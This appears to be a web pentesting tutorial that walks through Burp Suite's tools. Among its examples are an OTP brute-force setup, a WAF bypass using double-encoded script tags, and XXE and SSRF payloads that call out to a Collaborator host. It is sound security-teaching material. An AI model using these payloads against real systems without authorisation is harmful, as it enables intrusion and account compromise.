Burp Suite Advanced Guide — The Complete Web Pentesting Toolkit

1. Setup: Proxy, CA Certificate & Scope

Burp Suite sits between your browser and the target as a transparent HTTP proxy. All traffic flows through it so every request can be inspected, modified, and replayed.

Configuring the proxy listener

By default Burp listens on 127.0.0.1:8080. Configure your browser (or use Burp's embedded Chromium) to route traffic through this address. For HTTPS, you must install the Burp CA certificate so the browser trusts Burp's TLS interception.

1. Navigate to http://burpsuite inside the proxied browser and download the CA cert.
2. Import it as a trusted root CA in your browser's certificate store.
3. Set browser proxy to 127.0.0.1:8080 (manual HTTP + HTTPS).
4. Visit any HTTPS site — you should see it appear in Burp's HTTP history.

Defining scope

Scope prevents noise from third-party assets (CDNs, analytics) cluttering your history. Go to Target → Scope and add your target domain with a regex if needed. Then in Proxy → Options enable "Drop all out-of-scope requests" so only target traffic appears in logs.

# Example scope entry — matches all subdomains
Protocol: Any
Host:     .*\.target\.com
Port:     .*
File:     .*

2. Proxy — Intercepting & HTTP History

The Proxy tab is the core of Burp Suite. Every request your browser makes passes through it, and you can pause execution at any point to inspect or modify the raw HTTP.

Intercept mode

With intercept ON, Burp holds each request until you forward or drop it. You can edit any header, parameter, or body field in-flight before the server receives it. Use this for one-off quick modifications — for repeated testing, use Repeater instead.

HTTP History

The history tab logs every proxied request. Key workflow habits:

• Filter by scope — check "Show only in-scope items" to cut noise.
• Search by keyword — Ctrl+F on the response pane to find interesting strings like token, password, admin.
• Right-click → Send to Repeater for any request worth replaying.
• Right-click → Send to Intruder to fuzz a parameter automatically.
• Right-click → Engagement tools → Find comments / Find scripts to extract JS endpoints.

WebSockets History

The WebSockets history tab captures WS frames separately. You can pause, modify, and replay individual frames — the basis of WebSocket injection attacks covered in the WebSocket Security post.

3. Target — Site Map & Scope Control

The Target tab builds a live tree of every URL you visit. It groups requests by host and path, giving you an instant map of the application surface.

Site map analysis

• Right-click any host → Spider this host to crawl all reachable links.
• Right-click → Engagement tools → Analyze target — Burp highlights interesting parameters, forms, and potential injection points.
• Look for endpoints that only appear in JS bundles but not in crawl results — those are often undocumented API routes. Use Find scripts to extract them.

Issue activity

After running the active scanner, all findings appear in the Target's issue list. Click any issue to see the exact request/response evidence Burp captured.

4. Repeater — Request Replay & Manual Exploitation

Repeater is the most-used tool in any pentest. It lets you modify and resend a request as many times as you want while watching the full response. Every manual exploit in this blog starts in Repeater.

Core workflow

1. Find an interesting request in HTTP history.
2. Right-click → Send to Repeater (Ctrl+R).
3. Modify the request in the left pane — change a parameter, header, or body value.
4. Click Send (Ctrl+Enter) and analyze the response on the right.
5. Use the navigation arrows to move through your modification history.

What Repeater is used for across this blog

5. Intruder — Automated Attacks & Fuzzing

Intruder automates sending many variations of a single request, replacing marked payload positions with values from a wordlist. It covers four attack types, each suited to a different scenario.

Defining payload positions

Send a request to Intruder (Ctrl+I). In the Positions tab Burp auto-marks parameters with § § delimiters. Clear all markers and manually wrap only the value you want to fuzz:

POST /login HTTP/1.1
Host: target.com

username=masaaki&password=§wrongpass§

Attack types

Practical: brute-forcing a PIN with Sniper

POST /verify-otp HTTP/1.1
Host: target.com
Cookie: session=abc123

otp=§0000§

1. Attack type: Sniper
2. Payload type: Numbers — from 0 to 9999, step 1, min/max digits 4
3. Options → Grep Match: add the string Invalid OTP — unchecked rows are successful hits
4. Options → Request Engine → set threads to 20 (stay under rate limits)
5. Start attack and sort by the grep match column

Practical: directory fuzzing with Sniper

GET /§FUZZ§ HTTP/1.1
Host: target.com

Use a wordlist like SecLists' Discovery/Web-Content/big.txt. Filter results by response code — 200/301/403 are interesting, 404 is noise. Add a Grep Extract to pull the <title> tag from each response for quick triage.

Practical: CSRF token bypass with Pitchfork

Some apps tie the CSRF token to the session but generate a new token on every page load. Use a macro (Settings → Sessions → Macros) to fetch a fresh token before each Intruder request, then inject it at position 2 while fuzzing position 1.

→ Full methodology: CSRF Attacks deep-dive

6. Scanner — Passive & Active Crawling

Burp Scanner (Professional only) combines a crawler with an active auditor. It can find XSS, SQLi, XXE, SSRF, and dozens of other vulnerability classes automatically, though manual verification is always required.

Passive scanning

Passive scanning runs continuously on all proxied traffic without sending additional requests. It flags issues like missing security headers, mixed content, reflected parameters, and information disclosure in responses. Zero extra noise to the server.

Active scanning

Active scanning sends crafted payloads to confirm vulnerabilities. Right-click any request in HTTP history → Scan → choose scan configuration. Use "Audit checks — all insertions" for thoroughness or "Audit checks — critical issues only" for speed.

Scan configuration presets

7. Decoder & Comparer

Decoder

Decoder is a multi-step encode/decode/hash tool. Paste any string and apply transformations in sequence. Essential for:

• Base64 cookies — decode a serialised object, modify a field, re-encode and replace
• URL encoding — double-encode payloads to bypass WAF rules (%253c → %3c → <)
• JWT headers/payloads — base64url decode each part to inspect claims
• Hash identification — paste a hash and Burp tries to detect the algorithm

# Multi-step decode example — ViewState analysis
Raw cookie value → Base64 decode → .NET serialised object
Modify field     → Base64 encode → paste back into cookie

# Double URL encode bypass
Original: <script>
Encoded:  %3cscript%3e        # blocked by WAF
Double:   %253cscript%253e    # WAF decodes once → still encoded → passes

Comparer

Comparer diffs two requests or responses side-by-side at the word or byte level. Critical uses:

• Spot the exact difference between a valid/invalid token response in blind auth attacks
• Compare responses from two user accounts to find data leaking across sessions (IDOR)
• Diff two serialised objects after modifying a field to confirm your change was applied

8. Sequencer — Token Entropy Analysis

Sequencer measures the randomness of tokens — session cookies, CSRF tokens, password reset links. Predictable tokens are exploitable.

Running a live capture

1. Find a request that generates a token (login, forgot password, register).
2. Send it to Sequencer → Live capture.
3. Select the response field containing the token (cookie value, JSON field).
4. Start capture — Burp fires the request hundreds of times and collects tokens.
5. Click Analyze now after 100+ samples.

The result shows effective entropy in bits. Tokens with <32 bits of entropy should be flagged as predictable. Burp shows which character positions contribute the least randomness — those are the positions to focus a brute-force on.

9. Collaborator — Out-of-Band Detection

Burp Collaborator is an external server controlled by PortSwigger (or self-hosted) that receives DNS lookups, HTTP requests, and SMTP connections. It lets you detect vulnerabilities that produce no visible output in the HTTP response.

How it works

# Generate a Collaborator payload
Burp menu → Burp Collaborator client → Copy to clipboard
# Example payload
k9x2a3b.oastify.com

# Inject it into an SSRF-prone parameter
GET /fetch?url=http://k9x2a3b.oastify.com/ HTTP/1.1

# Or an XXE payload
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://k9x2a3b.oastify.com/">]>

# Poll for interactions in the Collaborator client
→ DNS lookup received from 203.0.113.42 at 14:32:05 UTC
→ HTTP GET received: /  (User-Agent: Java/1.8)

Where Collaborator is used across this blog

• Blind SSRF — inject Collaborator URL into any user-controlled URL parameter → SSRF deep-dive
• Blind XXE — external DTD that triggers DNS callback → XXE deep-dive
• Blind SQLi (OOB) — xp_dirtree or LOAD_FILE() targeting Collaborator UNC path → SQL Injection deep-dive
• Blind OS command injection — nslookup or curl to Collaborator address

10. Extensions — Power-User Toolkit

Burp's extension API (BApp Store + custom) transforms it from a proxy into a full testing platform. These are the extensions active in every engagement:

# Turbo Intruder script skeleton
def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint,
                           concurrentConnections=30,
                           requestsPerConnection=100,
                           pipeline=True)
    for word in wordlists.clipboard:
        engine.queue(target.req, word.rstrip())

def handleResponse(req, interesting):
    if req.status != 404:
        table.add(req)

# Stack encodings inline — Hackvertor syntax
<@urlencode><@base64><script>alert(1)</script><@/base64><@/urlencode>

11. Full Pentest Workflow

This is the standard workflow used across all web application engagements and bug bounty programs:

1. Scope and setup — define target in Scope, configure proxy, install CA cert.
2. Manual browse — walk through every feature authenticated and unauthenticated. Let Burp build the site map.
3. Passive scan — review passive findings. Fix trivial issues (missing headers). Note interesting parameters.
4. Spider / crawl — run the crawler with Burp's built-in or through Param Miner to find hidden paths.
5. Active scan — run active audit on in-scope hosts. Review confirmed issues first.
6. Manual testing — for each interesting endpoint: send to Repeater, test authentication, authorisation, and injection. Use Intruder for brute force / fuzzing.
7. OOB testing — inject Collaborator payloads into any parameter that could trigger server-side requests.
8. Report — for each finding: screenshot request/response from Burp, write reproduction steps, assess CVSS severity.

12. Deep-Dive Attack Posts

Every attack technique below was demonstrated using Burp Suite as the primary tool. Each post goes beyond basics — medium to advanced level only.